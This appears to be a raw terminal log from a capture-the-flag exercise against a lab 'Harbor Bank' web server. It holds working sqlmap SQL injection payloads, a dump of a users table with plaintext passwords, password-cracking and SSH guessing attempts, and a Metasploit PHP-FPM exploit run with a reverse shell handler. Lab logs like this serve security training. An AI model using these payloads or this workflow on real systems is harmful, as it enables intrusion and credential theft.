[21:26:08] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:26:08] [INFO] retrieved:
[21:26:08] [WARNING] the SQL query provided does not return any output
[21:26:08] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
sql-shell> exit
[21:26:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.24'
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo sqlmap --database --users --passwords --dbms="MySQL" -r SQLi-Transfer-request-burp
___
__H__
___ ___[']_____ ___ ___ {1.4.3#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:28:03 /2020-04-16/
[21:28:03] [INFO] parsing HTTP request from 'SQLi-Transfer-request-burp'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[21:28:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: recipient=admin' AND 7337=(SELECT (CASE WHEN (7337=7337) THEN 7337 ELSE (SELECT 4342 UNION SELECT 5555) END))-- -&amount=0.00001&x=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: recipient=admin' AND (SELECT 8462 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT (ELT(8462=8462,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- coRV&amount=0.00001&x=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: recipient=admin' AND (SELECT 4847 FROM (SELECT(SLEEP(5)))kWRe)-- nzMi&amount=0.00001&x=Submit
---
[21:28:06] [INFO] testing MySQL
[21:28:06] [INFO] confirming MySQL
[21:28:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[21:28:06] [INFO] fetching database users password hashes
[21:28:06] [INFO] retrieved: 'root'
[21:28:06] [INFO] retrieved: ''
[21:28:06] [INFO] retrieved: 'root'
[21:28:06] [INFO] retrieved: ''
[21:28:06] [INFO] resumed: 'root'
[21:28:06] [INFO] retrieved: '*F20B31125A91203904A57F21129CD8972CDE7FD3'
[21:28:06] [INFO] resumed: 'root'
[21:28:06] [INFO] retrieved: '*F20B31125A91203904A57F21129CD8972CDE7FD3'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:28:12] [INFO] writing hashes to a temporary file '/tmp/sqlmapnu3_ogz05511/sqlmaphashes-wmts93gw.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[21:28:16] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[21:28:21] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[21:28:28] [INFO] starting dictionary-based cracking (mysql_passwd)
[21:28:28] [INFO] starting 2 processes
[21:28:45] [WARNING] no clear password(s) found
database management system users password hashes:
[*] root [1]:
password hash: *F20B31125A91203904A57F21129CD8972CDE7FD3
[21:28:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.24'
[*] ending @ 21:28:45 /2020-04-16/
--------------------------------------------------
jeff@kali:~/Documents/CTFs/SafeHarbor$ echo root:*F20B31125A91203904A57F21129CD8972CDE7FD3 > Mysql-pwd-to-crack.txt
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo john Mysql-pwd-to-crack.txt --rules --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 8 needed for performance.
0g 0:00:00:51 DONE (2020-04-16 21:49) 0g/s 4542Kp/s 4542Kc/s 4542KC/s Aaaaaaaaaaaaing
Session completed
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo john Mysql-pwd-to-crack.txt --show
0 password hashes cracked, 1 left
--------------------------------------------------
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo sqlmap --current-db --tables --dbms="MySQL" -r SQLi-Transfer-request-burp
___
__H__
___ ___[.]_____ ___ ___ {1.4.3#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
<SNIP>
Database: information_schema
[59 tables]
+----------------------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| COLUMNS |
| STATISTICS |
| TABLES |
+----------------------------------------------------+
Database: HarborBankUsers
[1 table]
+----------------------------------------------------+
| users |
+----------------------------------------------------+
Database: mysql
[28 tables]
+----------------------------------------------------+
| db |
| event |
| user |
| columns_priv |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+----------------------------------------------------+
Database: performance_schema
[52 tables]
+----------------------------------------------------+
| accounts |
| cond_instances |
| events_stages_current |
| events_stages_history |
| events_stages_history_long |
| events_stages_summary_by_account_by_event_name |
| events_stages_summary_by_host_by_event_name |
| events_stages_summary_by_thread_by_event_name |
| events_stages_summary_by_user_by_event_name |
| events_stages_summary_global_by_event_name |
| events_statements_current |
| events_statements_history |
| events_statements_history_long |
| events_statements_summary_by_account_by_event_name |
| events_statements_summary_by_digest |
| events_statements_summary_by_host_by_event_name |
| events_statements_summary_by_thread_by_event_name |
| events_statements_summary_by_user_by_event_name |
| events_statements_summary_global_by_event_name |
| events_waits_current |
| events_waits_history |
| events_waits_history_long |
| events_waits_summary_by_account_by_event_name |
| events_waits_summary_by_host_by_event_name |
| events_waits_summary_by_instance |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_by_user_by_event_name |
| events_waits_summary_global_by_event_name |
| file_instances |
| file_summary_by_event_name |
| file_summary_by_instance |
| host_cache |
| hosts |
| mutex_instances |
| objects_summary_global_by_type |
| performance_timers |
| rwlock_instances |
| session_account_connect_attrs |
| session_connect_attrs |
| setup_actors |
| setup_consumers |
| setup_instruments |
| setup_objects |
| setup_timers |
| socket_instances |
| socket_summary_by_event_name |
| socket_summary_by_instance |
| table_io_waits_summary_by_index_usage |
| table_io_waits_summary_by_table |
| table_lock_waits_summary_by_table |
| threads |
| users |
+----------------------------------------------------+
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo sqlmap --dump -D HarborBankUsers -T users --columns --dbms="MySQL" -r SQLi-Transfer-request-burp
___
__H__
___ ___[(]_____ ___ ___ {1.4.3#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:35:44 /2020-04-16/
[21:35:44] [INFO] parsing HTTP request from 'SQLi-Transfer-request-burp'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[21:35:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: recipient=admin' AND 7337=(SELECT (CASE WHEN (7337=7337) THEN 7337 ELSE (SELECT 4342 UNION SELECT 5555) END))-- -&amount=0.00001&x=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: recipient=admin' AND (SELECT 8462 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT (ELT(8462=8462,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- coRV&amount=0.00001&x=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: recipient=admin' AND (SELECT 4847 FROM (SELECT(SLEEP(5)))kWRe)-- nzMi&amount=0.00001&x=Submit
---
[21:35:46] [INFO] testing MySQL
[21:35:46] [INFO] confirming MySQL
[21:35:46] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[21:35:46] [INFO] fetching columns for table 'users' in database 'HarborBankUsers'
[21:35:46] [INFO] retrieved: 'id'
[21:35:46] [INFO] retrieved: 'int(11)'
[21:35:46] [INFO] retrieved: 'username'
[21:35:46] [INFO] retrieved: 'text'
[21:35:46] [INFO] retrieved: 'password'
[21:35:46] [INFO] retrieved: 'text'
[21:35:46] [INFO] retrieved: 'balance'
[21:35:46] [INFO] retrieved: 'decimal(13,2)'
Database: HarborBankUsers
Table: users
[4 columns]
+----------+---------------+
| Column | Type |
+----------+---------------+
| id | int(11) |
| password | text |
| balance | decimal(13,2) |
| username | text |
+----------+---------------+
[21:35:46] [INFO] fetching columns for table 'users' in database 'HarborBankUsers'
[21:35:46] [INFO] resumed: 'id'
[21:35:46] [INFO] resumed: 'int(11)'
[21:35:46] [INFO] resumed: 'username'
[21:35:46] [INFO] resumed: 'text'
[21:35:46] [INFO] resumed: 'password'
[21:35:46] [INFO] resumed: 'text'
[21:35:46] [INFO] resumed: 'balance'
[21:35:46] [INFO] resumed: 'decimal(13,2)'
[21:35:46] [INFO] fetching entries for table 'users' in database 'HarborBankUsers'
[21:35:46] [INFO] retrieved: '6'
[21:35:46] [INFO] retrieved: 'yHNJ4Nm@HaVU-=XQ'
[21:35:46] [INFO] retrieved: '0.03'
[21:35:46] [INFO] retrieved: 'Admin'
[21:35:46] [INFO] retrieved: '7'
[21:35:46] [INFO] retrieved: 'e_PLJ3cyVEVnxY7'
[21:35:46] [INFO] retrieved: '0.03'
[21:35:46] [INFO] retrieved: 'Bill'
[21:35:46] [INFO] retrieved: '8'
[21:35:46] [INFO] retrieved: 'z_&=_KwMM*3D7AzC'
[21:35:46] [INFO] retrieved: '0.03'
[21:35:46] [INFO] retrieved: 'Steve'
[21:35:46] [INFO] retrieved: '9'
[21:35:46] [INFO] retrieved: '^&3JneRScU*Tt4-v'
[21:35:46] [INFO] retrieved: '0.03'
[21:35:46] [INFO] retrieved: 'Jill'
[21:35:46] [INFO] retrieved: '10'
[21:35:47] [INFO] retrieved: '$hBW!!NL52azb+HY'
[21:35:47] [INFO] retrieved: '0.03'
[21:35:47] [INFO] retrieved: 'Timothy'
[21:35:47] [INFO] retrieved: '11'
[21:35:47] [INFO] retrieved: 'mvTvt3u-9CeVB@26'
[21:35:47] [INFO] retrieved: '0.03'
[21:35:47] [INFO] retrieved: 'Quinten'
Database: HarborBankUsers
Table: users
[6 entries]
+------+---------+----------+------------------+
| id | balance | username | password |
+------+---------+----------+------------------+
| 6 | 0.03 | Admin | yHNJ4Nm@HaVU-=XQ |
| 7 | 0.03 | Bill | e_PLJ3cyVEVnxY7 |
| 8 | 0.03 | Steve | z_&=_KwMM*3D7AzC |
| 9 | 0.03 | Jill | ^&3JneRScU*Tt4-v |
| 10 | 0.03 | Timothy | $hBW!!NL52azb+HY |
| 11 | 0.03 | Quinten | mvTvt3u-9CeVB@26 |
+------+---------+----------+------------------+
[21:35:47] [INFO] table 'HarborBankUsers.users' dumped to CSV file '/root/.sqlmap/output/192.168.1.24/dump/HarborBankUsers/users.csv'
[21:35:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.24'
[*] ending @ 21:35:47 /2020-04-16/
-------------------------------------------------------------------------------------------
=> attempts to log into the SSH server with these credentials... It failed...
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
The authenticity of host '192.168.1.24 (192.168.1.24)' can't be established.
ECDSA key fingerprint is SHA256:SNsYqA7M2sHKn8eL0/lr67tvMpH68ns6o4/mWrhgKDI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.24' (ECDSA) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ^C
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
ssh: Could not resolve hostname 192.1681.1.24: Name or service not known
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
jeff@kali:~/Documents/CTFs/SafeHarbor$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
-------------------------------------------------------------------------------------------
PHP-FPM Underflow RCE - https://www.rapid7.com/db/modules/exploit/multi/http/php_fpm_rce
msf5 > use exploit/multi/http/php_fpm_rce
msf5 exploit(multi/http/php_fpm_rce) > options
Module options (exploit/multi/http/php_fpm_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /index.php yes Path to a PHP page
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 PHP
msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.1.24
RHOSTS => 192.168.1.24
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /login.php
TARGETURI => /login.php
msf5 exploit(multi/http/php_fpm_rce) > run
[*] Started reverse TCP handler on 192.168.1.22:4444
[*] Sending baseline query...
[*] Detecting QSL...
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /phpinfo.php
TARGETURI => /phpinfo.php
msf5 exploit(multi/http/php_fpm_rce) > run
[*] Started reverse TCP handler on 192.168.1.22:4444
[*] Sending baseline query...
[*] Detecting QSL...
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/php_fpm_rce) >
-------------------------------------------------------------------------------------------
<!DOCTYPE html>
<html lang="en">
<!-- Harbor Bank Online v2 - See changelog.txt for version details.-->
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
<style type="text/css">
html, body { height: 100%;}
html { display: table; margin: auto; }
body{ font: 14px sans-serif; display: table-cell; vertical-align: middle; }
.wrapper{ width: 350px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper" align="center">
<h2>Online Banking Login</h2>
<p>Enter Credentials for Harbor Bank Login:</p>
<form action="" method="post">
<div class="form-group " align="center">
<label>Username</label>
<input type="text" name="user" class="form-control" value="">
<span class="help-block"></span>
</div>
<div class="form-group " align="center">
<label>Password</label>
<input type="password" name="password" class="form-control">
<span class="help-block"></span>
</div>